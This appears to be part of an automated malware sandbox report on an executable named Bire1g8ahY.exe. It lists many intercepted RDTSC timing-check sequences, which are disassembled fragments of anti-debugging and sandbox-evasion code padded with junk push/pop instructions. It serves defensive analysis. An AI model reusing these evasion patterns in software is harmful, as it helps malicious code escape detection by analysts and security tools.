Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE3A24 second address: BE3A52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F62F8C4B1A4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE3A52 second address: BE3A56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE3A56 second address: BE3A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F62F8C4B19Ah 0x0000000e jl 00007F62F8C4B19Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE3BDF second address: BE3BE4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE3BE4 second address: BE3BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE3BEC second address: BE3BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE3EE1 second address: BE3EF1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F62F8C4B198h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE3EF1 second address: BE3EFB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F62F943B882h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE3EFB second address: BE3F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE4932 second address: BE4938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE4938 second address: BE493C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE493C second address: BE4940 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE4940 second address: BE4946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE6AB7 second address: BE6B12 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F62F943B881h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F62F943B8A0h 0x00000018 jmp 00007F62F943B87Dh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE6B12 second address: BE6B2A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F62F8C4B19Eh 0x00000008 jp 00007F62F8C4B19Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE9851 second address: BE9855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BECA34 second address: BECA3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BECA3A second address: BECA40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BECA40 second address: BECA4A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F62F8C4B1A2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BECA4A second address: BECA50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B54B51 second address: B54B55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B54B55 second address: B54B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B54B5B second address: B54B82 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F62F8C4B1A0h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F62F8C4B19Fh 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BEC526 second address: BEC532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F62F943B876h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BEC532 second address: BEC537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF1857 second address: BF185B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B5CFE6 second address: B5CFFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F62F8C4B1A2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B5CFFD second address: B5D003 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B5D003 second address: B5D009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B5D009 second address: B5D00D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF0BEC second address: BF0C1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F62F8C4B1A9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF0F10 second address: BF0F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF0F16 second address: BF0F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF0F1A second address: BF0F3C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F62F943B888h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF0F3C second address: BF0F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF0F42 second address: BF0F67 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F62F943B876h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F62F943B887h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF0F67 second address: BF0F77 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF0F77 second address: BF0F7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF0F7B second address: BF0F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF1387 second address: BF1391 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F62F943B882h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF1391 second address: BF13D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F62F8C4B196h 0x0000000a jmp 00007F62F8C4B1A2h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F62F8C4B1A9h 0x00000019 ja 00007F62F8C4B196h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B6213C second address: B62150 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F62F943B87Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B62150 second address: B62156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF3F3F second address: BF3F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF3F45 second address: BF3F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF4513 second address: BF454E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F62F943B87Ch 0x0000000b jbe 00007F62F943B876h 0x00000011 jmp 00007F62F943B889h 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jnp 00007F62F943B876h 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF454E second address: BF4554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BFA3E6 second address: BFA3EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BFA3EC second address: BFA3F6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F62F8C4B196h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF8CB8 second address: BF8CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F62F943B876h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF8CC7 second address: BF8CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF8CCB second address: BF8CCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF8CCF second address: BF8CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF9217 second address: BF921B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF921B second address: BF9221 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF9221 second address: BF923E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F62F943B883h 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF923E second address: BF9248 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F62F8C4B19Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF93B3 second address: BF93B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF93B8 second address: BF93CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B19Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF93CB second address: BF93E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B885h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA5338 second address: BA534F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F62F8C4B198h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007F62F8C4B1A4h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA534F second address: BA5353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BF9532 second address: BF9542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F62F8C4B19Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C028FE second address: C02902 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C009E7 second address: C00A19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007F62F8C4B19Dh 0x0000000e pop edi 0x0000000f pushad 0x00000010 jmp 00007F62F8C4B1A6h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C00B7A second address: C00B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jl 00007F62F943B876h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C00B8D second address: C00B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C00B91 second address: C00B9C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C00B9C second address: C00BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jo 00007F62F8C4B1CDh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F62F8C4B1A9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C01438 second address: C01448 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F62F943B876h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C01448 second address: C01457 instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C0173C second address: C01746 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C01A5C second address: C01A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jne 00007F62F8C4B196h 0x0000000c popad 0x0000000d jmp 00007F62F8C4B1A7h 0x00000012 pop eax 0x00000013 push eax 0x00000014 push ecx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C01D79 second address: C01D7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C06707 second address: C0671F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A3h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C069B1 second address: C069B6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C07246 second address: C0724A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C0724A second address: C07277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F62F943B883h 0x0000000c jmp 00007F62F943B880h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C07277 second address: C0727D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C0EFC7 second address: C0EFCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C10745 second address: C1074B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C16847 second address: C16857 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F62F943B876h 0x00000008 je 00007F62F943B876h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C16CE9 second address: C16CF3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F62F8C4B196h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C16CF3 second address: C16D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C16D02 second address: C16D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C16D06 second address: C16D2A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F62F943B876h 0x00000008 jmp 00007F62F943B886h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C16D2A second address: C16D3A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F62F8C4B196h 0x00000008 jnl 00007F62F8C4B196h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C16D3A second address: C16D3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C16D3F second address: C16D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F62F8C4B196h 0x0000000c je 00007F62F8C4B196h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C16ED6 second address: C16EF9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jnp 00007F62F943B88Fh 0x00000011 pushad 0x00000012 jmp 00007F62F943B87Fh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C17047 second address: C17063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F62F8C4B19Ah 0x0000000a pushad 0x0000000b jmp 00007F62F8C4B19Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C171AB second address: C171B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C17B41 second address: C17B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C17B45 second address: C17B4F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F62F943B876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C17B4F second address: C17B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C1A931 second address: C1A935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C1A935 second address: C1A939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: C1A939 second address: C1A97C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F62F943B885h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 jnp 00007F62F943B885h 0x00000019 jmp 00007F62F943B87Dh 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 ja 00007F62F943B876h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
